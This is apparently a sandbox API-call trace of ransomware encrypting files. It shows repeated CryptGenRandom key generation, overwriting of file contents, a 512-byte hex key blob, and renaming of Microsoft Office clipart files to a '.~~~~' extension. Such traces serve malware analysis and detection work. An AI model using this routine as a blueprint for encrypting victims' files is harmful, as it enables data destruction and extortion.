	[0090.399] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.399] CloseHandle (hObject=0x118) returned 1
	[0090.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.403] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.~~~~")) returned 1
	[0090.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.405] GetLastError () returned 0x0
	[0090.406] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.407] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.407] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.408] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21039770997) returned 1
	[0090.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fa95210, dwHighDateTime=0x1d60e1e)) 
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2090
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2090 | out: hHeap=0x300000) returned 1
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870430
	[0090.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.408] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.409] GetLastError () returned 0x0
	[0090.409] GetLastError () returned 0x0
	[0090.409] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.409] GetLastError () returned 0x0
	[0090.409] GetLastError () returned 0x0
	[0090.488] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffef74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.488] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x108c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x108c, lpOverlapped=0x0) returned 1
	[0090.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.489] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.489] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.490] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.490] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.490] CloseHandle (hObject=0x118) returned 1
	[0090.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d07f8
	[0090.490] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.~~~~")) returned 1
	[0090.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d07f8 | out: hHeap=0x300000) returned 1
	[0090.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.491] GetLastError () returned 0x0
	[0090.534] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.535] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.535] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.535] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21052554131) returned 1
	[0090.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fbebe70, dwHighDateTime=0x1d60e1e)) 
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3806d0
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3806d0 | out: hHeap=0x300000) returned 1
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdee0
	[0090.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d07f8
	[0090.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdee0 | out: hHeap=0x300000) returned 1
	[0090.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0090.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d07f8 | out: hHeap=0x300000) returned 1
	[0090.539] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.539] GetLastError () returned 0x0
	[0090.539] GetLastError () returned 0x0
	[0090.539] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.539] GetLastError () returned 0x0
	[0090.540] GetLastError () returned 0x0
	[0090.573] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff72a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.573] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8d6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x8d6, lpOverlapped=0x0) returned 1
	[0090.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.575] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.575] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.575] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.575] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.575] CloseHandle (hObject=0x118) returned 1
	[0090.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0090.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.~~~~")) returned 1
	[0090.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870a20 | out: hHeap=0x300000) returned 1
	[0090.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.613] GetLastError () returned 0x0
	[0090.769] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.770] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.770] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.770] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21076035683) returned 1
	[0090.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fe27310, dwHighDateTime=0x1d60e1e)) 
	[0090.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac708
	[0090.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac708 | out: hHeap=0x300000) returned 1
	[0090.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28713a0
	[0090.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.771] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.771] GetLastError () returned 0x0
	[0090.771] GetLastError () returned 0x0
	[0090.771] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.771] GetLastError () returned 0x0
	[0090.771] GetLastError () returned 0x0
	[0090.779] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff866e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.779] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7992, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x7992, lpOverlapped=0x0) returned 1
	[0090.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0090.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.780] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.780] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.780] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.780] CloseHandle (hObject=0x124) returned 1
	[0090.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.781] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.~~~~")) returned 1
	[0090.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.786] GetLastError () returned 0x0
	[0090.786] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.787] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.788] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.788] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21077792007) returned 1
	[0090.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fe4d470, dwHighDateTime=0x1d60e1e)) 
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381960
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381960 | out: hHeap=0x300000) returned 1
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870e48
	[0090.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.788] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.789] GetLastError () returned 0x0
	[0090.789] GetLastError () returned 0x0
	[0090.789] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.789] GetLastError () returned 0x0
	[0090.789] GetLastError () returned 0x0
	[0090.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff5864, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.796] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa79c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0xa79c, lpOverlapped=0x0) returned 1
	[0090.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.797] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.798] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.798] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.798] CloseHandle (hObject=0x124) returned 1
	[0090.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1668
	[0090.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.~~~~")) returned 1
	[0090.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1668 | out: hHeap=0x300000) returned 1
	[0090.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.799] GetLastError () returned 0x0
	[0090.799] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.801] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.801] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.801] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21079117154) returned 1
	[0090.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fe735d0, dwHighDateTime=0x1d60e1e)) 
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381998
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381998 | out: hHeap=0x300000) returned 1
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1668
	[0090.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28714d0
	[0090.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1668 | out: hHeap=0x300000) returned 1
	[0090.802] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.802] GetLastError () returned 0x0
	[0090.802] GetLastError () returned 0x0
	[0090.802] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.802] GetLastError () returned 0x0
	[0090.802] GetLastError () returned 0x0
	[0090.803] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffd38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.803] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2c8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2c8, lpOverlapped=0x0) returned 1
	[0090.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.804] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.804] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
